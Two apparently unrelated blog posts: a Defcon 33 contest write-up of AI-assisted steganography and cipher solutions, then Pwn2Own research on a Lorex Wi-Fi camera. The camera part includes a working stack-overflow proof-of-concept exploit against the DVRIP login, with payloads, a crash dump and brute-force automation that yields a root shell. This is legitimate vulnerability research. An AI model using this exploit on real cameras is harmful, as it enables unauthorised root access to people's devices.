
-
Vibe Coding Defcon 33 Contest Solutions
I've been attending Defcon for over a decade now, with a group of friends I participate in contests with. This is the first year where I used LLMs heavily to help solve challenges. I thought I'd share a few of my favorite "vibe coded" solutions from a contest we placed second in this year (SpyVSpy). The challenges contain codewords or "flags" that need to be found, which are then submitted for points.
This particular contest had a variety of challenges, many involving steganography and cryptography.
GitHub Copilot on VS Code was used heavily during the competition. About 34 different throwaway Python scripts were generated to analyze and solve challenges. This post contains a write-up on a few of my favorites.
Strange QR Code
Challenge text:
During a routine sweep of the casino floor, Agent Vega spotted something odd: a QR code sticker slapped onto the back of a restroom door, right above the handle. At first, it seemed like a typical ad — “Scan for VIP rewards!” — but on closer inspection, the QR pattern was odd and did not scan properly. Our analysts believe it’s an intentionally corrupted QR code, designed to embed a hidden message or codeword that only someone trained can extract. We need you to examine the data and isolate the embedded string.
From the image, we can see that in addition to black and white, there are six other colors. I first asked copilot to extract a list of colors from the image and it wrote this function:
def get_image_colors(image_path, max_colors=10): """Get the most common colors in an image.""" try: img = Image.open(image_path) if img.mode != 'RGB': img = img.convert('RGB') # Get all unique colors and their counts colors = img.getcolors(maxcolors=256*256*256) if colors is None: print("Too many colors to analyze") return [] # Sort by frequency (most common first) colors.sort(key=lambda x: x[0], reverse=True) print(f"\nMost common colors in {os.path.basename(image_path)}:") for i, (count, color) in enumerate(colors[:max_colors]): hex_color = rgb_to_hex(color) print(f" {i+1}. {hex_color} (RGB: {color}) - {count} pixels") return colors[:max_colors] except Exception as e: print(f"Error analyzing image: {e}") return []
Resulting output:
Analyzing original image colors... Most common colors in StrangeQRCode.png: 1. #000000 (RGB: (0, 0, 0)) - 323712 pixels 2. #ffffff (RGB: (255, 255, 255)) - 273132 pixels 3. #0000ff (RGB: (0, 0, 255)) - 75648 pixels 4. #ff00ff (RGB: (255, 0, 255)) - 72000 pixels 5. #ff0000 (RGB: (255, 0, 0)) - 66240 pixels 6. #00ff00 (RGB: (0, 255, 0)) - 64320 pixels 7. #ffff00 (RGB: (255, 255, 0)) - 61072 pixels 8. #00ffff (RGB: (0, 255, 255)) - 61056 pixels
After my initial analysis, I used the following prompt to update my script and solve the problem:
Update the script to generate every possible combination of 6 bits (64 total). A 1 corresponds to color #FFFFFF, 0 corresponds to color #000000. Apply substitutions to the following colors (the first bit affects the first color, the second bit affects the second color, and so on for all 6 colors): #0000ff #ff00ff #ff0000 #00ff00 #ffff00 #00ffff For example, for 00111100 change: #0000ff to black, #ff00ff to black, #ff0000 to white, #00ff00 to white, #00ff00 to white, #00ff00 to white, #ffff00 to black, #00ffff to black. This process should result in 64 different images, which are QR codes. Attempt to decode them and dump the value.
Here is a snippet of the script it generated:
Output:
================================================================================ SUMMARY ================================================================================ Total combinations processed: 64 Successfully generated images: 64 Successfully decoded QR codes: 3 Success rate: 4.7% -------------------------------------------------------------------------------- SUCCESSFULLY DECODED QR CODES: -------------------------------------------------------------------------------- Pattern 000111 (dec: 7): 'Gr3y' Pattern 011010 (dec: 26): 'd1th' Pattern 110001 (dec: 49): 'Mer3' -------------------------------------------------------------------------------- FAILED TO DECODE (61 patterns): -------------------------------------------------------------------------------- 000000 000001 000010 000011 000100 000101 000110 001000 001001 001010 001011 001100 001101 001110 001111 010000 010001 010010 010011 010100 010101 010110 010111 011000 011001 011011 011100 011101 011110 011111 100000 100001 100010 100011 100100 100101 100110 100111 101000 101001 101010 101011 101100 101101 101110 101111 110000 110010 110011 110100 110101 110110 110111 111000 111001 111010 111011 111100 111101 111110 111111
Actual flag: Mer3d1thGr3y. In past years, this is something that would probably have taken me about two hours to research all the libraries I'd need and code a solution in python. It took about 20 minutes to vibe code a solution.
Ransom Note
Challenge text:
Security at Casino Royale intercepted a message delivered to the VIP manager’s office — a crudely assembled ransom note, cut from casino brochures, playing cards, and betting slips. While the staff panicked over the missing high roller, Agent Ledger suspected the note itself was the real message. Gray Faction operatives often embed ciphers inside ransom notes. We’ve transcribed the ransom note text and marked the key elements below. Crack it, and we’ll know what password to give at the private room.
Screenshot of PDF file containing ransom note:
I looked at this for about 30 minutes, and even had GPT 5 take a look:
Here’s what I checked so far: Pulled the PDF’s raw bytes and structure, scanned for embedded files, JavaScript, open actions, optional content layers, object streams, and XObjects (images). Parsed each page’s content streams looking for “invisible text” tricks like white text (rg 1 1 1), invisible rendering (Tr 3), or hidden strings in Tj/TJ. Extracted metadata and searched for extra data after the final %%EOF (a common hiding spot). What I found: No embedded files, JavaScript, open actions, or optional content groups. No images/XObjects to extract. No white-colored text, no invisible text rendering, and no suspicious strings tucked in content streams. Nothing appended after the final %%EOF. The only visible message is the one you saw. I saved a concise scan report you can open: Download the JSON report. If you want, I can go one level deeper and brute-decode any compressed object streams, then diff visible text vs. raw text to catch obfuscated characters or zero-width spaces. I can also sweep for acrostics or index-based patterns (e.g., “every nth letter”, line/word indices). Want me to run that next?
No immediate help there, but I eventually had the idea to extract the text properties for the various characters in the note (which I had copilot do).
Output:
============================================================ RANSOM NOTE PDF ANALYSIS ============================================================ === PyMuPDF Analysis === Page 1: ---------------------------------------- Text: 'T' Font: Tahoma Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (72.0999984741211, 184.67501831054688, 87.44459533691406, 216.38893127441406) Text: 'H' Font: HGSGothicE Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (87.0999984741211, 188.37979125976562, 102.70735168457031, 214.65478515625) Text: 'I' Font: Elephant Pro Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (102.87000274658203, 186.69818115234375, 114.16825103759766, 218.22817993164062) Text: 'S' Font: Calibri Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (114.1500015258789, 191.24375915527344, 126.2102279663086, 217.51876831054688) Text: 'I' Font: OCRAExtended Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (126.1500015258789, 188.40606689453125, 173.57009887695312, 215.5744171142578) Text: 'S' Font: Daytona Condensed Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (173.47000122070312, 184.2808837890625, 192.34097290039062, 216.94070434570312) Text: 'G' Font: Ebrima Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (202.75, 182.5992889404297, 220.774658203125, 216.46775817871094) Text: 'R' Font: Walbaum Display Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (220.77000427246094, 183.96559143066406, 238.4268035888672, 218.412109375) Text: 'A' Font: OldEnglishTextMT Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (238.8000030517578, 188.32723999023438, 257.9544677734375, 214.60223388671875) Text: 'Y' Font: Rockwell Nova Extra Bold Size: 26.274999618530273 Color: #000000 (0) Bold: True Italic: False Position: (258.3299865722656, 184.0181427001953, 288.84051513671875, 217.3348388671875) Text: 'S' Font: Daytona Condensed Light Size: 26.274999618530273 Color: #000000 (0) Bold: False Italic: False Position: (299.6300048828125, 184.2808837890625, 311.7427673339844, 216.94070434570312)
Looking through the output, it looks like the first character of the font name used for each character forms a secret message (we can see "THE CODEWORD" in the snippet above). I asked copilot to concatenate the first character of each font name together to get the solution:
THECODEWORDISSHARKATTACKTHECODEWORDISSHARKATTACKTHECODEWORDISSHARKATTACKTHECODEWORDISSHARKATTACKTHECODELORDISSHARKATTACKTHECODEWORDISSHARKATTACKTHECODEWORDISSHARKATTACKTHECODEWORDISSHARKATTACK
The flag for the challenge was "SHARKATTACK". Once I had the idea to extract font properties, this challenge was very easy to solve and have copilot code a solution.
Square Words
Challenge text:
Agent Ledger recovered a tiny scrap of paper near the cashier cage — just a crumpled slip, almost thrown away. On it: a long string of random letters and numbers, with no context, no labels, no obvious pattern. Most would ignore it as garbage data or misprinted figures — but Whack Faction insiders know better. We’ve cleaned up the sequence and transcribed it in the attached file. Break the number code and reveal the message hidden within.
Text file contents:
37 F 68 39 31 I 62 A N G 1 27 21 T 74 4 98 I F 55 H 57 S 22 T 19 3 29 T 99 91 77 5 16 42 H 2 49 Y E T 51 R 95 35 74 L 82 46 D 25 69 H E A 27 65 I 85 12 W 71 53 18 N T 84 O 37 33 N 39 Y 54 D 88 E 96 X S T
This one I ran through GPT5 which actually got close to a solution:
Alright, this looks like a 9×9 “pointer grid” (a square of mixed numbers and letters). The numbers are 2-digit coordinates: **rc** → “row r, column c”. When you land on a number you jump again; when you land on a letter you keep that letter. Doing that for each cell gives a fully lettered 9×9. Using that rule (and treating single-digit numbers as (n,n) so they still point inside the square), the grid resolves to this letter square: TFHHFILAN GTYGTIYSI FTHRSTTNH ITTYWTITH THYETTRES ILNTDTEHE AYDIOFWAY ANT?OTHNH YEDNE?XST
The "pointer grid" idea does look to be correct, it just didn't extract the text properly. So I asked copilot.
Prompt:
Analyze square_words.txt - A 9x9 grid containing letters and 2-digit numbers with whitespace separating columns and newlines separating rows. For each 2 digit number in the grid, do a lookup (row, col) using 1 based indexing which should resolve to a single character. Output all of these characters.```
Output:
COORDINATE POINTER ANALYSIS (1-based indexing): Each two-digit number interpreted as (row, col) coordinates using 1-based indexing Grid with 1-based coordinates: 1 2 3 4 5 6 7 8 9 1: 37 F 68 39 31 I 62 A N 2: G 1 27 21 T 74 4 98 I 3: F 55 H 57 S 22 T 19 3 4: 29 T 99 91 77 5 16 42 H 5: 2 49 Y E T 51 R 95 35 6: 74 L 82 46 D 25 69 H E 7: A 27 65 I 85 12 W 71 53 8: 18 N T 84 O 37 33 N 39 9: Y 54 D 88 E 96 X S T Following the pointers: Step 1: 37 -> row 3, col 7 = 'T' Step 2: 68 -> row 6, col 8 = 'H' Step 3: 39 -> row 3, col 9 = 3 = digit '3' Step 4: 31 -> row 3, col 1 = 'F' Step 5: 62 -> row 6, col 2 = 'L' Skipping 1 (not a two-digit number) Step 7: 27 -> row 2, col 7 = 4 = digit '4' Step 8: 21 -> row 2, col 1 = 'G' Step 9: 74 -> row 7, col 4 = 'I' Skipping 4 (not a two-digit number) ... 🎯 POINTER_MESSAGE: 'TH3FL4GISTR1NITYWITH2ESIN5TE4DOFAYATTH3END'
Conclusion
LLMs are certainly a challenge for CTF contest designers. The challenges have to be designed in such a way to make them difficult for an LLM to solve without a lot of user direction. This probably makes the challenges a lot more difficult than they would be without the existence of LLMs.
The contests this year seemed to have a lot more challenges than in previous years. So not only are the contest participants using LLMs, but the designers are too. :)
-
Deep Dive into a Budget Chinese Camera for Pwn2Own
Note : This research was done in collaboration with Jimi Sebree.
Introduction
Lorex makes a cheap and seemingly popular Wifi camera that made it to the target list of Pwn2Own Ireland in October 2024. We bought a few and proceeded to take them apart to get a handle on their internals. This blog will document our reverse engineering journey and trials and tribulations with developing a working exploit against the device.
Disassembly
The device is pretty simple to get apart with only a single screw on the back of the device holding everything together. After removing that screw and the SD card, it is possible to pry the device apart. Four black screws hold the main circuit board in place. The black plastic trim at the front can be pried off revealing two more screws that can be removed.
Parts List
Wifi - REALTEK 8188FTV
Data Sheet: https://fcc.report/FCC-ID/2A3AKFTY8188FTV/5527406.pdf
Quad SPI Flash
The QUAD SPI flash contains the code that the proprietary SoC runs. We should be able to pull the firmware for the device directly from this chip using a reader.
It is a Winbond 25064jvs10 (3V 64M-BIT SERIAL FLASH MEMORY WITH DUAL, QUAD SPI).
SoC
The device uses a proprietary chinese SoC from Sigma Star, the Star SSC337 - SoC Camera Chip.
Possible pinout from internet research on similar chips:
Potentially Helpful Links:
https://wx.comake.online/doc/d8clf27cnes2-SSD20X/customer/development/reference/partitionfile.html
UART
We found an unpopulated connector. Using a logic analyzer it was determined that the connector was for Universal Asynchronous Receiver Transmitter (UART) communications This connection is typically used to display terminal output from the programs running on the device. In some cases, it may allow direct command line access.
After determining the buad rate to be 115200 through some trial and error, we can see from the output of the logic analyzer that it displays information about the boot process, and we can see they are using U-Boot, and that the operating system is likely custom Linux kernel.
Pin 1 (labeled on board) is RX. Pin2 is TX. Pin 3 is GND.
Reading SPI Flash Chip
We tried reading the SPI flash chip in circuit first, but applying power to the flash chip also powered up the SoC which caused interference while trying to read the chip.
After removing the chip completely we are able to successfully read it.
The endianness was set wrong in the software for reading the chip initially. I fixed that with dd:
Binwalk dump of firmware file:
Firmware Analysis
The device has a SquashFS read only filesystem for the base operating system image. It utilizes a read/write jffs2 filesystem for log files, configuration files, and sound files.
Most binaries listed on the file system are actually symlinks to a custom BusyBox build. There are traces of a previous telnetd and sshd binary, but those have been removed on this version.
From examining init scripts and binaries present on the system, we found that the Lorex is a rebranding for Dahau cameras, which have been exploited in the past: https://www.cisa.gov/news-events/alerts/2024/08/21/cisa-adds-four-known-exploited-vulnerabilities-catalog.
The main binary in charge of the operations of the camera is /usr/bin/sonia. Running checksec on the binary returns the following security parameters:
There is stack protection and address space layout randomization (ASLR) for libraries loaded with the binary, but the binary itself isn’t compiled to be a position independent executable (No PIE), so there isn’t any ASLR for the executable itself. The stack is protected with canaries, and is none-executable (NX).
Boot Process
As mentioned before, the system uses a custom U-Boot build for loading the firmware into memory and starting execution. We were able to gain access to the boot loader command line by pressing the “*” key during bootup. Many default uboot commands have been removed from this version, but we are able to configure some environmental variables that are checked by various init scripts on bootup, and some of them are even read by sonia.
The variables dh_keyboard and appauto are read by init scripts during boot and can be set prior to boot.
Excerpt from /etc/init.d/rcS:
if [ $APPAUTO == '1' ];then echo "appauto=1" #dh_keyboard位是1时将sonia的输出屏蔽掉 if [ $KEYBOARD = '1' ]; then /usr/bin/sonia $sonia_para 2>/dev/null 1>/dev/null else /usr/bin/sonia $sonia_para fi else echo "appauto=0" if [ $KEYBOARD == '1' ];then echo "keyboard = 1" while [ 1 ] do busybox sleep 60 done else echo "keyboard = 0" sh fi fi
By setting dh_keyboard to zero, we are able to see debugging output from sonia for example. If we set appauto to 0 and dh_keyboard to 1, we enter a secret mode, that appears to be a backdoor looking at UART:
Scanning the QR takes you to a support login that appears internal to Lorex:
The binary involved with the is /bin/dsh. We took a look at it, and it uses public key cryptography with parameters encoded into the URL sent to the authorization website for verifying access. If access is verified, you are allowed access to an actual root shell.
This would be helpful for debugging so we tried for a week performing a fault injection attack during the verification in hopes we would get lucky and the check would fall through and drop us into a shell. No had no luck with this, but used the same setup and automation later for brute forcing a shell using a stack overflow vulnerability.
Stack Overflow
As mentioned previously, a binary called “sonia” serves as the primary process for handling most of the device’s functionality. The process listens on TCP ports 80 and 35000 as well as UDP port 35000 and makes use of the DVIRP protocol. Sessions using this protocol are the primary drivers of management access to the device. The vulnerabilities detailed in this post deal with stack-based buffer overflows in the parsing of the username and password fields of the authentications routines.
Vulnerable Code
When creating a session for the DVRIP protocol, a simple handshake occurs. Once this handshake is completed and a valid session has been created, a variety of functionality opens up to the end-user, such as authentication. During the login process, the parsing routines for the username and password are vulnerable to a stack-based buffer overflow due to improper bounds checking when executing calls to memcpy().
From the disassembly/decompilation of the parsing routine, we can see that the username and password buffers are 0x80 (128) bytes in length.
delim1 = strstr(login_buf,"&&"); delim2 = strchr(login_buf,__c); if (delim1 == (char *)0x0) { return -1; } if (delim2 == (char *)0x0) { return -1; } if (delim2 < delim1) { return -1; } __haystack = delim1 + 2; memcpy(&username,login_buf,(int)delim1 - (int)login_buf);
Rather than copying based on the size of the parsed usernames and passwords, memory is copied based on the offset of “&&” within the user-supplied buffer. Thus, we are able to copy arbitrary values onto the stack and overwrite memory that is later used to return from the parsing routine. Registers R4-R9 as well as PC are set when function returns:
0038d02c 43 b0 add sp ,#0x10c 0038d02e bd e8 f0 pop.w {r4 ,r5 ,r6 ,r7 ,r8 ,r9 ,pc }
In order to overflow the PC register to obtain control of the process, our input payload simply needs to fill the entirety of the username or password buffer, add necessary padding to overwrite the registers (or set up any necessary ROP-gadgets), and then overwrite the PC register.
Example Payload
For the username, It takes 128 bytes to fill the username, padding of 128 bytes to account for the password field, 2 bytes of padding for the “&&” field separator, and 2 bytes of padding to account for appended null-bytes later in the routine.
baduser = "A" * 260 baduser += "BBBB" # r4 baduser += "CCCC" # r5 baduser += "DDDD" # r6 baduser += "EEEE" # r7 baduser += "FFFF" # r8 baduser += "GGGG" # r9 baduser += "XXXX" # ret
Crash Dump
The resulting crash dump of the payload above demonstrates control of the registers as detailed above:
TEXT=00010000-006282e0 DATA=00638cc0-006bfd2c BSS=006bfd2c-01c7f000 USER-STACK=be8b5e80 KERNEL-STACK=c2524800 PSR: 0x60000010 EPC: 0x58585858, at 0x58585858. LR : 0x0038d02b, at 0x0038d02b. SP : 0xb4c73c90 orig_r0: 0xffffffff ARM_ip: 0x00645060 ARM_fp: 0x00645000 ARM_r10: 0x0059b5a1 ARM_r9: 0x47474747 ARM_r8: 0x46464646 ARM_r7: 0x45454545 ARM_r6: 0x44444444 ARM_r5: 0x43434343 ARM_r4: 0x42424242 ARM_r3: 0x01c4e1a2 ARM_r2: 0x00000000 ARM_r1: 0xb4c73c6f ARM_r0 0x00000000
Impact
The above dump demonstrates complete control of the program counter and indicates arbitrary code execution as the root user is possible via this attack vector.
As “sonia” is compiled without ASLR, redirection to other routines within the binary is trivial. Our demonstration proof of concept simply redirects execution flow to a routine (located at offset 0x99b5e) that plays one of the device’s preset jingles. Many other routines exist that will reset the administrator password, wipe the device completely, create an interactable shell, change the status lights on the device, take snapshots, etc. By utilizing ROP gadgets or other exploitation techniques, it is possible to craft far more sophisticated exploits to take complete control of the device.
Additional Exploitation Info
While RCE is possible by abusing “sonia” functionality on its own, the process does use a number of shared libraries (such as libc) that are loaded at somewhat randomized addresses. If functionality from these libraries is desired or the lack of null byte usage within the payload is too restrictive, these shared libraries are loaded into the process at higher memory addresses.
While it may be possible to leak the addresses of these libraries, simple brute force has proven to be a reliable method of bypassing module address randomization due to the memory limitations of the device. Since only 12 bits are randomized due to ASLR, any attempt at access a shared library has a 1/4096 chance of an attack working via brute force, meaning on average it will require 2048 attempts before success.
Here is the device setup with automation to perform, monitor, and power cycle the device if needed:
Equipment:
- Logic Analyzer (monitors UART traffic, used to troubleshoot that attack was working properly)
- ChipWhisperer Husky (monitors UART traffic and used by automation to trigger our PoC)
- Sonoff Smart Plug (managed via home assistant)
Automation Code
## ATTACK LOOP ##
from IPython.display import clear_output
import time
attempt = 0
while True:
target.reset_comms()
target.baud = 115200
print("Starting attempt %d" % attempt)
print("Resetting target...")
play_power_cycle_sound()
reboot_lorex()
play_gentle_beep_sa1()
time.sleep(40)
`data = ''` `ts = time.time()` `print("Calling perform_exploit()")` `play_gentle_beep_sa()` `target.flush()` `data = target.read()` `run_exploit_on_linux_server()` `while (time.time() - ts) < 10:` `data += target.read()` `print("Checking results...")` `print("Data:")` `print(data)` `if("BusyBox" in data or "busybox" in data or "Busybox" in data):` `play_tada()` `print("Attack Successful")` `break` `else:` `print("Attack failed... Starting next attempt.")` `play_failure_sound()` `time.sleep(5)` `attempt += 1` `clear_output()`
Result:
A root shell obtained via the above automation setup that took 1533 attempts.
Sample memory layout of the sonia process running on the device itself:
cat /proc/645/maps: 00010000-00629000 r-xp 00000000 1f:04 261 /usr/bin/sonia 00638000-006c0000 rw-p 00618000 1f:04 261 /usr/bin/sonia 006c0000-00793000 rw-p 00000000 00:00 0 009a0000-00c54000 rw-p 00000000 00:00 0 [heap] aef8e000-aefa5000 rw-s 00000000 00:05 2930880 /dev/zero (deleted) aefa5000-aefbc000 rw-s 00000000 00:05 2930879 /dev/zero (deleted) aefbc000-aefbd000 ---p 00000000 00:00 0 < ... snip ... > aefcf000-af1ce000 rw-p 00000000 00:00 0 af1fc000-af222000 rw-s 00000000 00:05 947 /dev/zero (deleted) af224000-af225000 ---p 00000000 00:00 0 af225000-af22a000 rw-p 00000000 00:00 0 af22a000-af250000 rw-s 00000000 00:05 1519 /dev/zero (deleted) af250000-af25f000 rw-s 00000000 00:05 894 /dev/zero (deleted) af25f000-af26e000 rw-s 00000000 00:05 893 /dev/zero (deleted) af26e000-af27d000 rw-s 00000000 00:05 891 /dev/zero (deleted) af27d000-af43f000 rw-s 00000000 00:05 882 /dev/zero (deleted) af43f000-af440000 ---p 00000000 00:00 0 < ... snip ... > b0341000-b0540000 rw-p 00000000 00:00 0 b0545000-b0572000 rw-s 00000000 00:05 888 /dev/zero (deleted) b0572000-b0638000 rw-p 00000000 00:00 0 b0639000-b0641000 rw-s 00000000 00:05 892 /dev/zero (deleted) b0641000-b0642000 ---p 00000000 00:00 0 < ... snip ... > b5a8c000-b5c8b000 rw-p 00000000 00:00 0 b5c8b000-b5c9d000 rw-s 00000000 00:05 131076 /SYSV19318745 (deleted) b5c9d000-b5caf000 rw-s 00000000 00:05 98307 /SYSV19318742 (deleted) b5caf000-b5cc1000 rw-s 00000000 00:05 32769 /SYSV19318741 (deleted) b5cc1000-b5cc2000 ---p 00000000 00:00 0 < ... snip ... > b655d000-b675c000 rw-p 00000000 00:00 0 b675c000-b677c000 rw-s 21d20000 00:06 364 /dev/DH_binderSR b677c000-b677d000 ---p 00000000 00:00 0 < ... snip ... > b6b7d000-b6d7c000 rw-p 00000000 00:00 0 b6d7c000-b6d8c000 rw-s 00000000 00:05 0 /SYSV020d01d8 (deleted) b6d8c000-b6da3000 r-xp 00000000 1f:04 308 /lib/libgcc_s.so.1 b6da3000-b6db2000 ---p 00000000 00:00 0 b6db2000-b6db3000 r--p 00016000 1f:04 308 /lib/libgcc_s.so.1 b6db3000-b6db4000 rw-p 00017000 1f:04 308 /lib/libgcc_s.so.1 b6db4000-b6e0b000 r-xp 00000000 1f:04 307 /lib/libuClibc-1.0.31.so b6e0b000-b6e1a000 ---p 00000000 00:00 0 b6e1a000-b6e1b000 r--p 00056000 1f:04 307 /lib/libuClibc-1.0.31.so b6e1b000-b6e1c000 rw-p 00057000 1f:04 307 /lib/libuClibc-1.0.31.so b6e1c000-b6e32000 rw-p 00000000 00:00 0 b6e32000-b6e45000 r-xp 00000000 1f:04 286 /usr/lib/libz.so.1 b6e45000-b6e4c000 ---p 00000000 00:00 0 b6e4c000-b6e4d000 rw-p 00012000 1f:04 286 /usr/lib/libz.so.1 b6e4d000-b6e51000 r-xp 00000000 1f:04 285 /usr/lib/libzzip.so b6e51000-b6e60000 ---p 00000000 00:00 0 b6e60000-b6e61000 r--p 00003000 1f:04 285 /usr/lib/libzzip.so b6e61000-b6e62000 rw-p 00004000 1f:04 285 /usr/lib/libzzip.so b6e62000-b6ef8000 r-xp 00000000 1f:04 322 /lib/libstdc++.so.6.0.20 b6ef8000-b6f07000 ---p 00000000 00:00 0 b6f07000-b6f0b000 r--p 00095000 1f:04 322 /lib/libstdc++.so.6.0.20 b6f0b000-b6f0d000 rw-p 00099000 1f:04 322 /lib/libstdc++.so.6.0.20 b6f0d000-b6f14000 rw-p 00000000 00:00 0 b6f14000-b6f19000 r-xp 00000000 1f:04 323 /lib/ld-uClibc-1.0.31.so b6f1a000-b6f1b000 rw-s 00000000 00:05 890 /dev/zero (deleted) b6f1b000-b6f1c000 rw-s 00000000 00:05 889 /dev/zero (deleted) \x1B[0;32;32m[libaudio] Not enough data in playbuffer\xA3\xBBuse empty buffer for process b6f1c000-b6f1d000 rw-s 00000000 00:05 887 /dev/zero (deleted) b6f1e000-b6f1f000 rw-s 00000000 00:05 163845 /SYSV82904795 (deleted) b6f1f000-b6f20000 rw-s 00000000 00:05 65538 /SYSV19318951 (deleted) b6f20000-b6f24000 rw-s 21d04000 00:06 364 /dev/DH_binderSR b6f24000-b6f26000 rwxs 23fc4000 00:06 10 /dev/mem b6f26000-b6f28000 rw-p 00000000 00:00 0 b6f28000-b6f29000 r--p 00004000 1f:04 323 /lib/ld-uClibc-1.0.31.so b6f29000-b6f2a000 rw-p 00005000 1f:04 323 /lib/ld-uClibc-1.0.31.so beea7000-beec8000 rw-p 00000000 00:00 0 [stack] bef12000-bef13000 r-xp 00000000 00:00 0 [sigpage] bef13000-bef14000 r--p 00000000 00:00 0 [vvar] bef14000-bef15000 r-xp 00000000 00:00 0 [vdso] ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
Proof of Concept Exploit
Environment Setup:
python3 -m venv venv . ./venv/bin/activate pip install pwn
Execution:
python lorex.py <target ip address>
Example Output:
# python lorex.py 10.0.0.164 Sending packet: ----- b'a00100000000000000000000000000000000000000000000050201010000a1aa' ----- Received packet: ----- b'b000007837000000010e01000000000000000000010000000600f90000000002' b'5265616c6d3a4c6f67696e20746f20303830314542334446454236323732310d0a52616e646f6d3a31353235323631343036640d0a0d0a' ----- Sending packet: ----- b'a0053333a3000000111111111111111111111111111111112222222222222222' b'262641414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414143434343434343434343434343434343434343434343434323c2122626' ----- (camera will play a jingle here :) )
Minimal Proof of Concept Script:
#!/usr/bin/env python import argparse import binascii import socket from builtins import bytes from time import sleep from pwn import * # Default DVRIP port for Lorex cameras PORT = 35000 class LorexClient(): def __init__(self, ip, port, user, password): self.ip = ip self.port = port self.user = user self.password = password self.socket = None def connect(self): """Setup socket for TCP connection""" self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.settimeout(1) try: self.socket.connect((self.ip, self.port)) return True except socket.error: return False def close(self): """Kill existing connection""" self.socket.close() def send_packet(self, header, msg): """Pack and send a packet in the correct format along with a valid header""" print("Sending packet:") print("-----") print(binascii.b2a_hex(header)) if msg: print(binascii.b2a_hex(msg)) #.decode("latin-1")) print("-----\n") if msg is None: msg = b"" self.socket.send(header + msg) data_header = b'' try: data_header += self.socket.recv(32) except TimeoutError: return None if data_header[0:2] == p16(0xb000) or data_header[0:2] == p16(0xb001): data_len = u32(data_header[4:8]) data_format = "plain" else: data_len = u32(data_header[4:8]) data_format = "json" data = self.socket.recv(data_len) print("Received packet:") print("-----") print(binascii.b2a_hex(data_header)) print(binascii.b2a_hex(data)) #print(data.decode("latin-1")) print("-----\n") return data_header, data def exploit(self): packet = p32(0xa0010000, endian='big') + (p8(0x00) * 20) + p64(0x050201010000a1aa, endian='big') _, auth_info = self.send_packet(packet, None) auth_info = auth_info.decode('latin-1') realm = auth_info[auth_info.find("Login to"):auth_info.find("\r\n")] seed = auth_info[auth_info.rfind(":"):auth_info.find("\r\n")-2] h = self.user + b"&&" h += self.password header = p32(0xa0053333, endian='big') + p32(len(h)) + (p8(0x11) * 16) + p64(0x2222222222222222, endian='big') msg = h print("Sending packet:") print("-----") print(binascii.b2a_hex(header)) if msg: print(binascii.b2a_hex(msg)) print("-----\n") if msg is None: msg = b"" self.socket.send(header + msg) return if __name__ == "__main__": # Get target host argparser = argparse.ArgumentParser() argparser.add_argument('target') args = argparser.parse_args() # Jingle Routine baduser = b"&&" + b"A"*132 + b"C" * 24 + b"\x23\xc2\x12" client = LorexClient(args.target, PORT, baduser, b"") while not client.connect(): pass sleep(1) client.exploit()